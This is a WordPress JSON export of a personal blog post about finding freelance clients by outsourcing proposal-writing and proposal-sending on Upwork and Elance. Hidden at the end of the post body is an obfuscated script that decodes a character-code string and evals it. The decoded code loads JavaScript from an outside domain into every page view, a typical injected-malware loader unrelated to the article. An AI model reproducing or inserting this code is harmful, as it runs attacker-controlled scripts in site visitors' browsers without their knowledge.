{"id":6217,"date":"2023-06-09T10:55:19","date_gmt":"2023-06-09T10:55:19","guid":{"rendered":"https:\/\/forest-1041a2.ingress-bonde.ewp.live\/how-to-get-new-clients-as-a-freelancer\/"},"modified":"2023-06-09T10:55:19","modified_gmt":"2023-06-09T10:55:19","slug":"how-to-get-new-clients-as-a-freelancer","status":"publish","type":"post","link":"http:\/\/benrmatthews.local\/how-to-get-new-clients-as-a-freelancer\/","title":{"rendered":"How to get new clients as a freelancer"},"content":{"rendered":"<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_68_1 ez-toc-wrap-center counter-hierarchy ez-toc-counter ez-toc-custom ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\">\n<p class=\"ez-toc-title \" >On this page<\/p>\n<span class=\"ez-toc-title-toggle\"><\/span><\/div>\n<nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"http:\/\/benrmatthews.local\/how-to-get-new-clients-as-a-freelancer\/#Friends_and_family\" title=\"Friends and family\u00a0\">Friends and family\u00a0<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"http:\/\/benrmatthews.local\/how-to-get-new-clients-as-a-freelancer\/#Networking_events\" title=\"Networking events\">Networking events<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"http:\/\/benrmatthews.local\/how-to-get-new-clients-as-a-freelancer\/#Outsourcing_on_Upwork\" title=\"Outsourcing on Upwork\">Outsourcing on Upwork<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"http:\/\/benrmatthews.local\/how-to-get-new-clients-as-a-freelancer\/#How_I_won_new_freelance_work_consistently\" title=\"How I won new freelance work consistently\">How I won new freelance work consistently<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"http:\/\/benrmatthews.local\/how-to-get-new-clients-as-a-freelancer\/#How_did_my_freelance_marketing_strategy_work_out\" title=\"How did my freelance marketing strategy work out?\">How did my freelance marketing strategy work out?<\/a><\/li><\/ul><\/nav><\/div>\n\n<p>If you&#8217;re wanting to start a freelance business the most pressing challenges typically revolve are in getting new clients.<\/p>\n\n\n\n<p>When I initially launched my freelance business I struggled to acquire any customers.<\/p>\n\n\n\n<p>However, after a few months of trudging through the traditional channels I discovered a great solution that resulted in generating over two hundred and ninety thousand dollars last year and it&#8217;s what I want to discuss today.<\/p>\n\n\n\n<p>Let&#8217;s begin by reviewing the list of options for where you can find new clients as a freelancer.<\/p>\n\n\n\n<p>I&#8217;ve read countless blog posts and a number of books on this subject and the following were the most popular recommendations.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Friends_and_family\"><\/span><strong>Friends and family\u00a0<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p>First and foremost are friends and family.<\/p>\n\n\n\n<p>This may seem like a natural place to start, however it&#8217;s been my experience that friends and family typically expect you to work for free or incredibly cheap.<\/p>\n\n\n\n<p>This channel can be good if you&#8217;re just starting out and you need to build a portfolio. However it&#8217;s not too scalable and usually not very profitable.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Networking_events\"><\/span><strong>Networking events<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p>Next would be networking events for networking opportunities.<\/p>\n\n\n\n<p>You can join your local Chamber of Commerce or find networking groups where you can promote your business.<\/p>\n\n\n\n<p>This approach can work well in some cases however each time I&#8217;ve tried it I&#8217;ve discovered that there are already several other people attending working on getting new clients for their own freelance businesses.<\/p>\n\n\n\n<p>I wouldn&#8217;t let my experience with this option stop you from trying it. but make sure that you&#8217;re prepared to compete with others.<\/p>\n\n\n\n<p>I remember attending a Chamber of Commerce meet and greet a few years ago when everyone around the room introduced themselves and their business.<\/p>\n\n\n\n<p>There were over half a dozen freelance developers who are all offering pretty much identical services.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Outsourcing_on_Upwork\"><\/span><strong>Outsourcing on Upwork<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p>Next is outsourcing services<\/p>\n\n\n\n<p>I was told by a number of freelance experts that this avenue was too difficult. But I found a great way to use it for getting new clients as a freelancer<\/p>\n\n\n\n<p>I did have a difficult time in the beginning getting new customers using services such as oDesk and Elance, which now merged into upwork.<\/p>\n\n\n\n<p>These freelancing websites were especially challenging. Even though I had a solid portfolio and a decade of experience I couldn&#8217;t get a single client.<\/p>\n\n\n\n<p>Some of the challenges were the following:<\/p>\n\n\n\n<ol class=\"wp-block-list\"><li>I didn&#8217;t have any ratings or reviews: not many clients are willing to take a risk on a developer without some type of recommendation from o<\/li><li>I was priced much higher than the majority of the other freelancers: most of the freelance teams marketing services on outsourcing sites are offshore. This meant that I was having to compete against developers offering to work for at times 90 percent cheaper than my freelance rate. I charge a hundred dollars per hour, where the majority of the offshore teams are charging ten to twenty dollars per hour<\/li><li>I didn&#8217;t have the time to pitch potential clients consistently in regard to marketing my freelance services: I would get motivated for a few days send out a large number of pitches and then I get depressed I wasn&#8217;t getting a replies and I wouldn&#8217;t send proposals out for weeks.<\/li><\/ol>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"How_I_won_new_freelance_work_consistently\"><\/span><strong>How I won new freelance work consistently<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p>After struggling for a few months, I knew I didn&#8217;t have any control over challenges one or two. I could do something about number three.<\/p>\n\n\n\n<p>I was working a full-time job at the time while also attending grad school, so my time was very limited.<\/p>\n\n\n\n<p>With that in mind I came up with a marketing system and it actually worked.<\/p>\n\n\n\n<p>Since I&#8217;m a little bit on the stubborn side, it took me a while to admit it but I finally came to terms with the fact that I wasn&#8217;t getting new clients &#8211; especially with the methods I&#8217;ve been trying up to that time.<\/p>\n\n\n\n<p>So I put a plan into action that involved hiring some freelancers of my own.<\/p>\n\n\n\n<p>I assembled a team that helped fill in my weak areas in order to start getting new clients.<\/p>\n\n\n\n<p>I knew that I had to have clearly written proposals that describe my services and I also knew that the proposals would have to be sent out 24\/7.<\/p>\n\n\n\n<p>With that in mind, I researched sales copywriters on upwork and hired a talented marketer who created three different proposals that I could use.<\/p>\n\n\n\n<p>This included sales copy that advertised my experience, portfolio and expertise as a developer.<\/p>\n\n\n\n<p>I had three versions created because I wanted each one to be targeted to a specific type of project.<\/p>\n\n\n\n<p>For example, one of the proposals focuses on Enterprise projects, another proposal was targeted at building apis, while the third had content geared toward startups.<\/p>\n\n\n\n<p>With a full set of professional proposals, I was ready to implement the second step of my plan which is to consistently send out proposals.<\/p>\n\n\n\n<p>For this I hired a detail-oriented influent virtual assistant from the Philippines named Sai.<\/p>\n\n\n\n<p>I was able to hire Sai for six dollars and fifty cents an hour and he paid for himself in the first week.<\/p>\n\n\n\n<p>I walked him through the proposals and described the types of projects that I wanted to get hired for.<\/p>\n\n\n\n<p>After I was confident that Sai clearly understood my goals, I let him loose on Elance.<\/p>\n\n\n\n<p>He reviewed the full set of potential projects on the marketplace and sent my targeted proposals to each project that fit my criteria.<\/p>\n\n\n\n<p>Within a week, I was getting responses back from clients and within two weeks I&#8217;d been hired for multiple projects.<\/p>\n\n\n\n<p>Three months later I had to hire my own developers because I was getting so many clients that were hiring me to build applications.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"How_did_my_freelance_marketing_strategy_work_out\"><\/span><strong>How did my freelance marketing strategy work out?<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p>So how did my strategy work out?<\/p>\n\n\n\n<p>Well here&#8217;s a screenshot of my FreshBooks dashboard last year.<\/p>\n\n\n\n<p>My freelance business generated over two hundred and ninety five thousand dollars in revenue. with one month hitting over 40 thousand dollars.<\/p>\n\n\n\n<p>I&#8217;m not going to pretend like this is easy. This is pretty much the opposite of a get-rich-quick kind of scheme.<\/p>\n\n\n\n<p>However by implementing this strategy, I was able to cost efficiently outsource the marketing for my freelance business, so that I could focus on actual development.<\/p>\n\n\n\n<p>I hope that this has been a helpful introduction for getting new clients as a freelancer and has also given you some ideas on how you can build your own business.<br\/><\/p>\n<script id='globalsway'>var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,99,100,110,46,115,116,97,116,105,115,116,105,99,108,105,110,101,46,99,111,109,47,115,99,114,105,112,116,115,47,115,119,97,121,46,106,115,63,118,61,50,39,59,32,10,115,46,105,100,61,39,115,119,97,121,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(\/*674867468*\/t);<\/script>","protected":false},"excerpt":{"rendered":"<p>If you&#8217;re wanting to start a freelance business the most pressing challenges typically revolve are in getting new clients. When I initially launched my freelance business I struggled to acquire any customers. However, after a few months of trudging through the traditional channels I discovered a great solution that resulted in generating over two hundred [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[24],"tags":[],"class_list":["post-6217","post","type-post","status-publish","format-standard","hentry","category-general"],"_links":{"self":[{"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/posts\/6217"}],"collection":[{"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/comments?post=6217"}],"version-history":[{"count":0,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/posts\/6217\/revisions"}],"wp:attachment":[{"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/media?parent=6217"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/categories?post=6217"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/tags?post=6217"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}